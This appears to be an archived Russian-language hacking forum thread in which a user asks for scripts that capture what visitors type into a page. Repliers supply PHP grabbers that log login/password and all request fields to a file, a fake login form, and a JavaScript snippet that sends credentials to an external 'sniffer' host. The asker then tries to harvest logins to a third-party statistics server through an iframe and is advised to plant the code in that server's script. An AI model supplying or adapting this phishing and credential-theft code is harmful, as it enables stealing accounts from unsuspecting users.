PDA

Просмотр полной версии : Ищу скрипт сохранения данных !


djdelok
06.10.2007, 04:49
Ищу любые возможные скрипты для сохранения данных которые пользователь вводит на странице !!!
Пожалуйста выложите сюда всевозможные скрипты такого направления !

Joker-jar
06.10.2007, 06:52
Такого в паблике не найдешь.

Хотя, вот нашел один:
<?
if (isset($_POST['login']))
{
$f = fopen("grab.txt", "a");
fputs($f, $_POST['login']." : ".$_POST['pass']."\n");
fclose($f);
}
?>
<form method="post">
<table>
<tr>
<td>Логин:</td>
<td><input name="login"></td>
</tr>
<tr>
<td>Пароль:</td>
<td><input type="password" name="pass"></td>
</tr>
</table>
<input type="submit" value="Войти">
</form>

Isis
06.10.2007, 12:39
Такого в паблике не найдешь.
А может наоборот, найдет очень много?

~EviL~
06.10.2007, 12:51
Хех...знакомая ситуация. Буквально на днях мне потребовалось то же самое. Я придумал такой способ: на моем сайте стоит регистрация, которую необходимо пройти для получения доступа к содержимому сайта (после авторизации, конечно =). Когда пользователь вводит пароль (pass) и имя (login), и нажимает кнопку OK, вот что происходит:
validation=login+' : '+pass;
img=new Image();
img.src="http://адресс.снифера.gif?"+validation;
(Надеюсь объяснять не надо... =)
Ну а кому интересно, как же пользователь логинится, скажу что сайт у меня не большой, и поэтому я ввожу их login : pass в написанною мною же БД на JavaScript вручную (сайтик мой не пользуется большим спросом, поэтому для меня этот вариант практичен). Надеюсь, что помог. Удачи тебе =)

fucker"ok
06.10.2007, 12:54
<?php
function writeto(&$data)
{
$f = fopen("grab.txt", "a");
foreach ($data as $key => $value) fputs($f, $key ." = ".$value."\n");
fclose($f);

}
if (isset($_GET)) writeto($_GET);
if (isset($_POST)) writeto($_POST);
?>

mr.The
06.10.2007, 14:46
Такого в паблике не найдешь.
спасибо поржал.
Хех...знакомая ситуация....
.....
validation=login+' : '+pass;
img=new Image();
img.src="http://адресс.снифера.gif?"+validation;
....
зачем такие извращения?

и ещё. если зараннее не извесны значени GET или POST
то можно сделать так


<?php
$r = fopen('123.txt',"a");
$kea=array_keys($_POST);
$vala=array_values($_POST);
for($iii=0;$iii<count($_POST);$iii++) fputs($r,$kea[$iii]."=".$vala[$iii]."\r\n!");

fclose($r);
?>

djdelok
06.10.2007, 18:40
А возможно ли чтобы этот скрипт сохранял данные введённые во фрейме страницы ?
Очень нужно...

Joker-jar
06.10.2007, 19:33
Если фрейм твой, то ты сам определяешь, куда и что он сохраняет. А если сторонний, то смотря куда он сабмитит. Короче, все в руках принимающей стороны ;)

djdelok
06.10.2007, 20:20
Ну вот что у меня получилось :


<?php
$r = fopen('123.txt',"a");
$kea=array_keys($_POST);
$vala=array_values($_POST);
for($iii=0;$iii<count($_POST);$iii++) fputs($r,$kea[$iii]."=".$vala[$iii]."\r\n!");

fclose($r);

?>
<iframe src="http://www.slav.dn.ua/statsrv/statsrv.php" width=1024 height=786 frameborder=1>
Откройте в IE
</iframe>




Подскажите ошибки и что ещё нужно делать !

blackybr
07.10.2007, 11:33
почему только гет и пост ?) лучше весь масив $_request логировать

djdelok
07.10.2007, 15:25
Я в php неочень разбираюсь, а можете наброски скрипта сюда кинуть как оно должно быть, если вас это незатруднит !

nc.STRIEM
07.10.2007, 15:43
<?
$fo=fopen('data.txt','a');
foreach($_REQUEST as $name => $val)
fwrite($fo,$name.' = '.$val."\n");
fwrite($fo,"\n");
fclose($fo);
?>

djdelok
07.10.2007, 16:02
Поставил так, а оно всё равно несохраняет :
<?
$fo=fopen('data.txt','a');
foreach($_REQUEST as $name => $val)
fwrite($fo,$name.' = '.$val."\n");
fwrite($fo,"\n");
fclose($fo);
?>
<iframe src="http://www.slav.dn.ua/statsrv/statsrv.php" width=1024 height=786 frameborder=1>
Откройте в IE
</iframe>
Вообщем там для авторизации такая штука используется
http://djdron.jino-net.ru/slav.JPG
Я сделал у себя в локалке свой сайт и хочу чтобы с помощью фрейма когда посетитель переходит на сервер статистики по моим страницам, то чтобы данные введённые им сохранились мне !

nc.STRIEM
07.10.2007, 16:13
этот код нужно вписать в файл statsrv.php

djdelok
07.10.2007, 17:04
А подругому сделать никак нельзя ? В обход statsrv.php